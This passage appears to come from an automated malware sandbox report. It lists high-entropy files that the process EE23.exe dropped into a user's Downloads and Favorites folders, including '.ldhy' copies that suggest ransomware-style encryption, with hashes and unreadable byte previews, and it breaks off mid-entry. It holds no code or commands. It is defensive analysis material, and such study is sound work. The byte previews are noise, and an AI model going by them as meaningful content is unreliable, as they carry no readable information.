                                                                                                                                                                                                                                                              Preview:QCOIL....e.#......@.@*qI..........x.w...S$f.O...g..!.....E..Q=...TG.(w.C.E..Z..... !....`.......W....o.NF/7K?I|fR1.[..}.?..b..8...b1I.yW.....T.w.....A..=v5~..../..A.v.'*E..a..-....W1.4.....s..l.....].:....+.B.. T..P......Y..S.......J.....O..-...$..G.-./..".....Z...#.k|..7k....V.U.....Su...(.a..;...$~.....\1NIj..q......#9.|bX..~..u;...)..b.1..+.*..'.Qy.S...i..N...R.....n..\..,..i..uS...:..h.[...rHPO.......K..\C..U.Hia.M.c+..pm.......:.....3...4}.<...V.`(.....3t8..M7...I8Bf2[J...b....3..Vf.....+.L.{...h..L..!...g...........l.=..~..5nI..d...Lu.....ApG(Z...*........?.....c1.J.b.....7N.n.0....~Y..z.n6.<..b8q[..o...F/..`.K.AsD..6.SJHdD.o@......6..+.q$08..;....V].W..R....$t....|.....f4..E..:.m..L..%.&.L ......,...a..q...........V..tU.".p...dlMTG....>!...+.t~.M3......Hb:%^.eh.(3..]..z#s.S.Jo*.is,.3.@.*.@.=....AZ..$..YE...`.;.... 3.......mu........x...s<...q..!]...r....&G..3......x..>..kQ4P~Z...@...O"`..7.<{...vv..b.P'.3G?(......U...4K.w.`...

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\QCOILOQIKC.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852514586242773
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:tni07ced+kr1WDTOAu5V8hmNQHp1GiZzFRX1tGvqgnJ/WtGua0YLD4sGJsbD:93+GWDyAYsH7vHjGvqhtSD4vJmD
                                                                                                                                                                                                                                                              MD5:5F177741F609EB9B6956AAF8C9CC8FE9
                                                                                                                                                                                                                                                              SHA1:F7680CE1361326F97E2FF35EC8A59768F91888C9
                                                                                                                                                                                                                                                              SHA-256:359D3C7CD3BB0BF2405C3F6D9319E332FB57B56547D197C218D953DD662D87DD
                                                                                                                                                                                                                                                              SHA-512:02561B812662D447693E6B6FC9D905CE87668ECCE3A705EBB1E950658CB5558970BF24E0DB9ECCD5E4C896EB657463A0A98360D4D07A3B0A3BD214B64459170E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOIL....e.#......@.@*qI..........x.w...S$f.O...g..!.....E..Q=...TG.(w.C.E..Z..... !....`.......W....o.NF/7K?I|fR1.[..}.?..b..8...b1I.yW.....T.w.....A..=v5~..../..A.v.'*E..a..-....W1.4.....s..l.....].:....+.B.. T..P......Y..S.......J.....O..-...$..G.-./..".....Z...#.k|..7k....V.U.....Su...(.a..;...$~.....\1NIj..q......#9.|bX..~..u;...)..b.1..+.*..'.Qy.S...i..N...R.....n..\..,..i..uS...:..h.[...rHPO.......K..\C..U.Hia.M.c+..pm.......:.....3...4}.<...V.`(.....3t8..M7...I8Bf2[J...b....3..Vf.....+.L.{...h..L..!...g...........l.=..~..5nI..d...Lu.....ApG(Z...*........?.....c1.J.b.....7N.n.0....~Y..z.n6.<..b8q[..o...F/..`.K.AsD..6.SJHdD.o@......6..+.q$08..;....V].W..R....$t....|.....f4..E..:.m..L..%.&.L ......,...a..q...........V..tU.".p...dlMTG....>!...+.t~.M3......Hb:%^.eh.(3..]..z#s.S.Jo*.is,.3.@.*.@.=....AZ..$..YE...`.;.... 3.......mu........x...s<...q..!]...r....&G..3......x..>..kQ4P~Z...@...O"`..7.<{...vv..b.P'.3G?(......U...4K.w.`...

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\SQSJKEBWDT.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.868218392539272
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:cwyyGS0A6aPsLI67bor5dN3ust/3NSM06eQZUXIEkaztE3iySsbD:cwy3u6B3krDN3umsM0ZQZ2pqgmD
                                                                                                                                                                                                                                                              MD5:0388D5ECD77AE8CA948CE5E2C9AFCF76
                                                                                                                                                                                                                                                              SHA1:AB31A43371064634BCB2B6322D7303A94B92B848
                                                                                                                                                                                                                                                              SHA-256:FF2F592F685AF0688BDC9C816DF622F171D05794AD35614F6B7B6C53386DD0B2
                                                                                                                                                                                                                                                              SHA-512:72E3358EB9BB5D31219925A6EA0B2E932AA2861BBD6939CF7E0CD39ADD8D4BE6BC0C3E503353B580D45D1F9388BC4A0E9F445349F1BB49F73C2128DBFD6C050E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK?.....%.fP.l...^.Fv|....G..H.eb.!.D... ....Up.o....`..7.KF......B.....?.....a'..1a.0...S.e5;S.`...*X.=.K4k.S.....#...RfS.!.Z.[I|.l...#8sk...O;.......C....4...M...(..u.s.?....'.......D..a...DQ.6.."k.........[.%.".j..7.].'.....~'.w.24.WK...nW.W."M..Q..*._^......Y..T..r.4. ......'..n.D..O_..\g.B..l.e..$...p.#.. ...8...Nj....Nj`...e....+.Z.Qkj%o~o..J..\..~L8{W.1..Y.....Q.>.(|..y.p.(.5.`..2=...I....G..B...tV_....X..P..8G..R%..............y%.......va../=..D_9......5.....nSVbF/.....9Pz&..r{.!..R.O....R.|....%*]....d..~wd...(==...t..J/%\y....U.....g..9.+.N........].}.>.....I..,..d.....Lm...d.)..$.~.r.p.2u.%................9 ........1[H.....>..GV..Q..t..x...},....VG......L3.A..*.H<SQv..6...,q...".. ..S.\.....r.X.M.Ory*.S..=D4B...J/..M...... }...#r..hVT...O3...k.A9....^._.fB...T..+8#...F.`^._).<Z.~..1....g.......V..b@^.l..baC....gp............s..,d..k....z3?...uj-...[.P....?z..3H.h;58.LSh..OX...+.`1.3C..F....'..H..6a*Y).`.B..S|...2.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\SQSJKEBWDT.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.868218392539272
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:cwyyGS0A6aPsLI67bor5dN3ust/3NSM06eQZUXIEkaztE3iySsbD:cwy3u6B3krDN3umsM0ZQZ2pqgmD
                                                                                                                                                                                                                                                              MD5:0388D5ECD77AE8CA948CE5E2C9AFCF76
                                                                                                                                                                                                                                                              SHA1:AB31A43371064634BCB2B6322D7303A94B92B848
                                                                                                                                                                                                                                                              SHA-256:FF2F592F685AF0688BDC9C816DF622F171D05794AD35614F6B7B6C53386DD0B2
                                                                                                                                                                                                                                                              SHA-512:72E3358EB9BB5D31219925A6EA0B2E932AA2861BBD6939CF7E0CD39ADD8D4BE6BC0C3E503353B580D45D1F9388BC4A0E9F445349F1BB49F73C2128DBFD6C050E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK?.....%.fP.l...^.Fv|....G..H.eb.!.D... ....Up.o....`..7.KF......B.....?.....a'..1a.0...S.e5;S.`...*X.=.K4k.S.....#...RfS.!.Z.[I|.l...#8sk...O;.......C....4...M...(..u.s.?....'.......D..a...DQ.6.."k.........[.%.".j..7.].'.....~'.w.24.WK...nW.W."M..Q..*._^......Y..T..r.4. ......'..n.D..O_..\g.B..l.e..$...p.#.. ...8...Nj....Nj`...e....+.Z.Qkj%o~o..J..\..~L8{W.1..Y.....Q.>.(|..y.p.(.5.`..2=...I....G..B...tV_....X..P..8G..R%..............y%.......va../=..D_9......5.....nSVbF/.....9Pz&..r{.!..R.O....R.|....%*]....d..~wd...(==...t..J/%\y....U.....g..9.+.N........].}.>.....I..,..d.....Lm...d.)..$.~.r.p.2u.%................9 ........1[H.....>..GV..Q..t..x...},....VG......L3.A..*.H<SQv..6...,q...".. ..S.\.....r.X.M.Ory*.S..=D4B...J/..M...... }...#r..hVT...O3...k.A9....^._.fB...T..+8#...F.`^._).<Z.~..1....g.......V..b@^.l..baC....gp............s..,d..k....z3?...uj-...[.P....?z..3H.h;58.LSh..OX...+.`1.3C..F....'..H..6a*Y).`.B..S|...2.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\SQSJKEBWDT.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8567204310442325
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bGcCh8AvaSFxiCuYqzG8C0cyd0zqw0ctAQk3vLqtwuFlEkhT+OiuhbMD7CVsbD:NC7mVYqzLoyd0zSpLqXFlEkhTLiuhbM7
                                                                                                                                                                                                                                                              MD5:16962F175CA022E43BE7D8BF0F859643
                                                                                                                                                                                                                                                              SHA1:10C0CBA7F97FF1E13E075F6D026CBC2B7A0D3BDA
                                                                                                                                                                                                                                                              SHA-256:B439BEE3C477EA32978189C648492005FF232E66644D26AE017192E355445F30
                                                                                                                                                                                                                                                              SHA-512:4E251D05C2DB93767F4D241AE8E54FFD762A47C3F4705A29565F02960AE9C4FABC2DA45488715D5DC03730800F969C09B708DC948CE480B123D089D0CFBEA4C8
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK.g5L../..f.....yY...r......B........>s.w......E...{..... ..7.6Rld.H..`....-...#.&.&..x.|./k..'.N.C...:_<.J.;............*..g..HZ.. ._.Q.Ylo..S....G.u..%.O..._>..9H.iqhm.6Y.(...h[....[f..:\...><.~.bZ...i=.'..%.b........P0Z.hF.H..7pB.Tv.k..K).!...S.!t....gP......"...U...c.g...] .5#.vZ..^...5J..1}8-$..E..'..E...f.<..(.JC.]...:<?.....{..c...26._O.;.......P.].{w80.I.d..a.......*H0X.%.....O.M.}...t.8.a2>..)U.0....0.T.....^JG.S..j...*..Oz..zZ..w3u%Nv`b...\.!.VG.z>..Wb..T.8$Z.........{/F.A.%/...k.@.\.m..#.=.:.8.f.U..a.[V=v..@...V....d9|..*~K....i.@.qT*...<.. ..<....C.b...G..Y...u%I.>.@.P......h...^K.X..p....]. ..q.yY..2^....C..}.........pl..(...#.3..".3....6......?..1...Z........'.?....>.rBA..-..F....3c2..`%|(......y...".a...?.....+..M..Q=J.]............Jl..O....K......?..........5KX".,.U=3.`.<o........N.....Y5|......!].9...+.....t"4.GO.4..{.........,.'p..DC6.>.`x%..O..q}..P.R3._2& ...jrQ.,R._...^...f....ys.Hg._2X.N.{..U@..L.!....7..;..E.......

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\SQSJKEBWDT.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8567204310442325
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bGcCh8AvaSFxiCuYqzG8C0cyd0zqw0ctAQk3vLqtwuFlEkhT+OiuhbMD7CVsbD:NC7mVYqzLoyd0zSpLqXFlEkhTLiuhbM7
                                                                                                                                                                                                                                                              MD5:16962F175CA022E43BE7D8BF0F859643
                                                                                                                                                                                                                                                              SHA1:10C0CBA7F97FF1E13E075F6D026CBC2B7A0D3BDA
                                                                                                                                                                                                                                                              SHA-256:B439BEE3C477EA32978189C648492005FF232E66644D26AE017192E355445F30
                                                                                                                                                                                                                                                              SHA-512:4E251D05C2DB93767F4D241AE8E54FFD762A47C3F4705A29565F02960AE9C4FABC2DA45488715D5DC03730800F969C09B708DC948CE480B123D089D0CFBEA4C8
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK.g5L../..f.....yY...r......B........>s.w......E...{..... ..7.6Rld.H..`....-...#.&.&..x.|./k..'.N.C...:_<.J.;............*..g..HZ.. ._.Q.Ylo..S....G.u..%.O..._>..9H.iqhm.6Y.(...h[....[f..:\...><.~.bZ...i=.'..%.b........P0Z.hF.H..7pB.Tv.k..K).!...S.!t....gP......"...U...c.g...] .5#.vZ..^...5J..1}8-$..E..'..E...f.<..(.JC.]...:<?.....{..c...26._O.;.......P.].{w80.I.d..a.......*H0X.%.....O.M.}...t.8.a2>..)U.0....0.T.....^JG.S..j...*..Oz..zZ..w3u%Nv`b...\.!.VG.z>..Wb..T.8$Z.........{/F.A.%/...k.@.\.m..#.=.:.8.f.U..a.[V=v..@...V....d9|..*~K....i.@.qT*...<.. ..<....C.b...G..Y...u%I.>.@.P......h...^K.X..p....]. ..q.yY..2^....C..}.........pl..(...#.3..".3....6......?..1...Z........'.?....>.rBA..-..F....3c2..`%|(......y...".a...?.....+..M..Q=J.]............Jl..O....K......?..........5KX".,.U=3.`.<o........N.....Y5|......!].9...+.....t"4.GO.4..{.........,.'p..DC6.>.`x%..O..q}..P.R3._2& ...jrQ.,R._...^...f....ys.Hg._2X.N.{..U@..L.!....7..;..E.......

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\TQDFJHPUIU.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847984628945333
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:VyBenD20/c3cJ/2lB23l9r4unJGNfumN16u5hX3PesAj3GL73sbD:S0/QlSjEfznPezbumD
                                                                                                                                                                                                                                                              MD5:A47E3E2A4067445D27D3E97C0CEA5005
                                                                                                                                                                                                                                                              SHA1:81327EF20BCB3342501E435066878D51B821DF4D
                                                                                                                                                                                                                                                              SHA-256:5F24534FC34D9F72D5926EECE7C6202F9EC9DA16B6D809978799240412AE30C3
                                                                                                                                                                                                                                                              SHA-512:7A9D36F1F4CF48CEA3643393921D5E725DE0BFEDED11060B89F5B58240B7C3E5571B6B7FB58E33085D31E129B4506BBBD90F70438D30EA3032CD23157ED0939F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ.D.x..C.....BZ.V&...)....K ......gA|.o.X.Q...A..{q.`..1..6\<.Z.............7..>.M. B.......%l..U........a\`..L......VB...\.8.nK.=b. ...>p.;`.Vh.V).cl.e.t....=.....'.(4^2....]..K...9....X.HY....\.m.c...|....A......A_....z...Y!>.....?0..XN...Q.k0!m....Cg%...y.<&.....KJ.]..t..j/....m......2i.?=f.....+k......=tG.......s.x"e.;Dl..i.UB.}CG?_.fEx.(.+..5|P.ac%d....yN.Y.E..B}uq.^`..]..pW.2.".'l....;...pA...~....q!.!.3+5.m..dUp5.;iuy...M..!...+_.#cEi.....*.....DV.].t@9...[V..P..P=|...M3i.>C.5.........^5.=..6.g..o.w.H.../......;S.........G,..'....F .....^....8^%...q{../.Z...5.w.v..6..)]99..C...XM'{.?......O=.6.xY.......9.m..;.J...bW.[SC..$.....z.2.....|JhW.......Hyn.-v....Y2(.....Y\aI&.t....A'.R..fN.OS.v1...n....;N....9... C..<...-.....b.r#..i>..#jN.O)I.....p.....>..=..9... }|'c........*.y.8.........L.m.....Iv3..-.$3u...5..V.8..'?.s<k|.(..q@...x.{J....fJ......\......"..s..W.;.myh..\J...J.)....*,?!.p.....j.?.K..... L_.\.5..._.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\TQDFJHPUIU.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847984628945333
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:VyBenD20/c3cJ/2lB23l9r4unJGNfumN16u5hX3PesAj3GL73sbD:S0/QlSjEfznPezbumD
                                                                                                                                                                                                                                                              MD5:A47E3E2A4067445D27D3E97C0CEA5005
                                                                                                                                                                                                                                                              SHA1:81327EF20BCB3342501E435066878D51B821DF4D
                                                                                                                                                                                                                                                              SHA-256:5F24534FC34D9F72D5926EECE7C6202F9EC9DA16B6D809978799240412AE30C3
                                                                                                                                                                                                                                                              SHA-512:7A9D36F1F4CF48CEA3643393921D5E725DE0BFEDED11060B89F5B58240B7C3E5571B6B7FB58E33085D31E129B4506BBBD90F70438D30EA3032CD23157ED0939F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ.D.x..C.....BZ.V&...)....K ......gA|.o.X.Q...A..{q.`..1..6\<.Z.............7..>.M. B.......%l..U........a\`..L......VB...\.8.nK.=b. ...>p.;`.Vh.V).cl.e.t....=.....'.(4^2....]..K...9....X.HY....\.m.c...|....A......A_....z...Y!>.....?0..XN...Q.k0!m....Cg%...y.<&.....KJ.]..t..j/....m......2i.?=f.....+k......=tG.......s.x"e.;Dl..i.UB.}CG?_.fEx.(.+..5|P.ac%d....yN.Y.E..B}uq.^`..]..pW.2.".'l....;...pA...~....q!.!.3+5.m..dUp5.;iuy...M..!...+_.#cEi.....*.....DV.].t@9...[V..P..P=|...M3i.>C.5.........^5.=..6.g..o.w.H.../......;S.........G,..'....F .....^....8^%...q{../.Z...5.w.v..6..)]99..C...XM'{.?......O=.6.xY.......9.m..;.J...bW.[SC..$.....z.2.....|JhW.......Hyn.-v....Y2(.....Y\aI&.t....A'.R..fN.OS.v1...n....;N....9... C..<...-.....b.r#..i>..#jN.O)I.....p.....>..=..9... }|'c........*.y.8.........L.m.....Iv3..-.$3u...5..V.8..'?.s<k|.(..q@...x.{J....fJ......\......"..s..W.;.myh..\J...J.)....*,?!.p.....j.?.K..... L_.\.5..._.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\UNKRLCVOHV.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852382669710643
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:4/WQYdNELVkZ5Ii4gwF2OHRMBWuUq1dRuEh6rZrL/ycTTnjJibv4sbD:4+NdNTodgwxHW5TR+rZrL/trkcmD
                                                                                                                                                                                                                                                              MD5:6F54447337322EDC70FE9120AF9711F2
                                                                                                                                                                                                                                                              SHA1:A0C4532D3C0203EF85F30D0E52B57B88ECD9FF52
                                                                                                                                                                                                                                                              SHA-256:4C68965E87A2C95CDDA25C114999C9D43045B7361CCBF876919F254B96D2551C
                                                                                                                                                                                                                                                              SHA-512:BFC3BDDE1C16A0E7A5E5E11458D47277E7704433003D6A7E3CFDF386AF7C439A52BCADFC62FAC50DC779D72C4686F351436205F8C2B50C285E31984A58E1E5CB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRLK..t...>.....2F...pU.....F...wy1./<]...v.lTknw.....`.......G..7u.=b....7..9.lI..!.J.7'q..70..G.A...H.....;...;.5...f_4b.B/L..H....................(Y.....4.#.....83..dm"...p..>..P.%...........7..V...w.....pnqxs..^c..ms...........*....../..y...9..X&Lr]..D.m...`R2...S....<..F..y.h.~s....AR.{.!.\=..b....;...?).fh..M..Q.(.-}."...%r....T..C,.w.?.......4=}.."...L...io.......G.|^B.A.up...b...`Y*.............%W7....`,Q{..#?@a:&.....\SV.*N.......;.)\..p.~......._......)..QK..Pj..T7.:?..&N.......e.....".....S..a.Z.3.l.....owQ~^!Q..p..B../y..P4........L._1.9....1..s_.7HTx.PF9......f^L..:....Z@IjxX......0.8..aE.&5.......T........X....#.....s...@s....g...|...Q(.\.o....n.z..s.ji..H..j..X.j..U^>........t...%...\.>^(L...'GM..Z..FL......1Q..3I72..........o......(.s.....A..w.*.x.9...$....}.1.....G...........v.....;B.!..L.....\..Am.9.B...E.m.g_.".o..$..q.....*.XF....6.....i...8...j,.IaY.).....V..\;.S....\#*N...E...X..-d{{......l..k.6G...6WtY..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\UNKRLCVOHV.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852382669710643
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:4/WQYdNELVkZ5Ii4gwF2OHRMBWuUq1dRuEh6rZrL/ycTTnjJibv4sbD:4+NdNTodgwxHW5TR+rZrL/trkcmD
                                                                                                                                                                                                                                                              MD5:6F54447337322EDC70FE9120AF9711F2
                                                                                                                                                                                                                                                              SHA1:A0C4532D3C0203EF85F30D0E52B57B88ECD9FF52
                                                                                                                                                                                                                                                              SHA-256:4C68965E87A2C95CDDA25C114999C9D43045B7361CCBF876919F254B96D2551C
                                                                                                                                                                                                                                                              SHA-512:BFC3BDDE1C16A0E7A5E5E11458D47277E7704433003D6A7E3CFDF386AF7C439A52BCADFC62FAC50DC779D72C4686F351436205F8C2B50C285E31984A58E1E5CB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRLK..t...>.....2F...pU.....F...wy1./<]...v.lTknw.....`.......G..7u.=b....7..9.lI..!.J.7'q..70..G.A...H.....;...;.5...f_4b.B/L..H....................(Y.....4.#.....83..dm"...p..>..P.%...........7..V...w.....pnqxs..^c..ms...........*....../..y...9..X&Lr]..D.m...`R2...S....<..F..y.h.~s....AR.{.!.\=..b....;...?).fh..M..Q.(.-}."...%r....T..C,.w.?.......4=}.."...L...io.......G.|^B.A.up...b...`Y*.............%W7....`,Q{..#?@a:&.....\SV.*N.......;.)\..p.~......._......)..QK..Pj..T7.:?..&N.......e.....".....S..a.Z.3.l.....owQ~^!Q..p..B../y..P4........L._1.9....1..s_.7HTx.PF9......f^L..:....Z@IjxX......0.8..aE.&5.......T........X....#.....s...@s....g...|...Q(.\.o....n.z..s.ji..H..j..X.j..U^>........t...%...\.>^(L...'GM..Z..FL......1Q..3I72..........o......(.s.....A..w.*.x.9...$....}.1.....G...........v.....;B.!..L.....\..Am.9.B...E.m.g_.".o..$..q.....*.XF....6.....i...8...j,.IaY.).....V..\;.S....\#*N...E...X..-d{{......l..k.6G...6WtY..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\ZIPXYXWIOY.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.833008680477675
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ZZ1qFpGgKBOc2MAxmuA1gaho9rpOXft7Cb2VTdgbZXBsNSsbD:P1y8dD2MGmV1gahIdOXl0EJgbZXB4SmD
                                                                                                                                                                                                                                                              MD5:F20BF5DDF77A2A2BB758E1312136BCC4
                                                                                                                                                                                                                                                              SHA1:EFFF3EA684B232119233DA6139A7EB7AC53119EA
                                                                                                                                                                                                                                                              SHA-256:9AE73C0B4B8B7F4E3990FB1CA3224C43366E6C2E6E662764661AA64A8FC79056
                                                                                                                                                                                                                                                              SHA-512:A92A95BAE533DD2B6B7A13501A4E980B15E40340F4EF3610D3C23AA2FB9DC4D727696960418F6F52A1FB1EC0352670998A0F01702EF1958231C078C609AFCA1F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY....T.....+]..G..=9.|....y1q..IX.....-..?....)qK`..O.gsae..(..hm........$C..?...t.....~...z..G{p)<I7..s...U/._...ma)U.].c~.Np.l.J..p........<...n.lF.A}..^.i.#W\.......1-.*5......K..>.T..........SE.H....F........f:W{E...5pH...9...$4.k...5...x%....Lz..h.....5)......q.^+%6"...../H...f."...5#f.......j..v....6*..%~E&/...#....w..T.2.>.LK3.2...u...y...^Bz.K{....r.U..lr%......-q.........9....h.^<x...GJ[*..O~.a.o.[9.'.4...&.......$.P.......H......<....;)4...s..*c.....TN.(....E.....L....O...[.N.."i:. ..N.|.......:nE..$Qk.X.@..+.D.....:S.w4..q...u...V+u2...%...2+..%....O...9.~?.`).dL...v5x".B.c...z.6k..9....m.....ii_8..f.0.5.q.:..o.%.k...L.e.....K.z.|..~t....t.m.<.h..0...hF|.,O.b.q.!\.g.;.."..;...pt`L..g.7.5..T"~.....NDc..l.....w......%..P:7...<..oS..p..59:..0..!.D.y..e{......y. fJ..:.;j..J.Y:+..R....!.`..w..Q....(n..7-.[.l`....gt..]...o...AK..xl.LZ._e.95C.)Ylo.+^..b...r..`.e.DO..=i.....N...3P...j7..a..#../&T.*.<.j7..PT..8....kor....KuBp.4

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\ZIPXYXWIOY.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.833008680477675
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ZZ1qFpGgKBOc2MAxmuA1gaho9rpOXft7Cb2VTdgbZXBsNSsbD:P1y8dD2MGmV1gahIdOXl0EJgbZXB4SmD
                                                                                                                                                                                                                                                              MD5:F20BF5DDF77A2A2BB758E1312136BCC4
                                                                                                                                                                                                                                                              SHA1:EFFF3EA684B232119233DA6139A7EB7AC53119EA
                                                                                                                                                                                                                                                              SHA-256:9AE73C0B4B8B7F4E3990FB1CA3224C43366E6C2E6E662764661AA64A8FC79056
                                                                                                                                                                                                                                                              SHA-512:A92A95BAE533DD2B6B7A13501A4E980B15E40340F4EF3610D3C23AA2FB9DC4D727696960418F6F52A1FB1EC0352670998A0F01702EF1958231C078C609AFCA1F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY....T.....+]..G..=9.|....y1q..IX.....-..?....)qK`..O.gsae..(..hm........$C..?...t.....~...z..G{p)<I7..s...U/._...ma)U.].c~.Np.l.J..p........<...n.lF.A}..^.i.#W\.......1-.*5......K..>.T..........SE.H....F........f:W{E...5pH...9...$4.k...5...x%....Lz..h.....5)......q.^+%6"...../H...f."...5#f.......j..v....6*..%~E&/...#....w..T.2.>.LK3.2...u...y...^Bz.K{....r.U..lr%......-q.........9....h.^<x...GJ[*..O~.a.o.[9.'.4...&.......$.P.......H......<....;)4...s..*c.....TN.(....E.....L....O...[.N.."i:. ..N.|.......:nE..$Qk.X.@..+.D.....:S.w4..q...u...V+u2...%...2+..%....O...9.~?.`).dL...v5x".B.c...z.6k..9....m.....ii_8..f.0.5.q.:..o.%.k...L.e.....K.z.|..~t....t.m.<.h..0...hF|.,O.b.q.!\.g.;.."..;...pt`L..g.7.5..T"~.....NDc..l.....w......%..P:7...<..oS..p..59:..0..!.D.y..e{......y. fJ..:.;j..J.Y:+..R....!.`..w..Q....(n..7-.[.l`....gt..]...o...AK..xl.LZ._e.95C.)Ylo.+^..b...r..`.e.DO..=i.....N...3P...j7..a..#../&T.*.<.j7..PT..8....kor....KuBp.4

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Amazon.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):445
                                                                                                                                                                                                                                                              Entropy (8bit):7.386829084889928
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:xdL1fmZjowzeAnhDpN5WIWT34X8FxCLi9xGwJAkNQscii9a:xdkjowxBv5WDWi9xGwJARsbD
                                                                                                                                                                                                                                                              MD5:C9CE885D6E64FEF70568836D30034A07
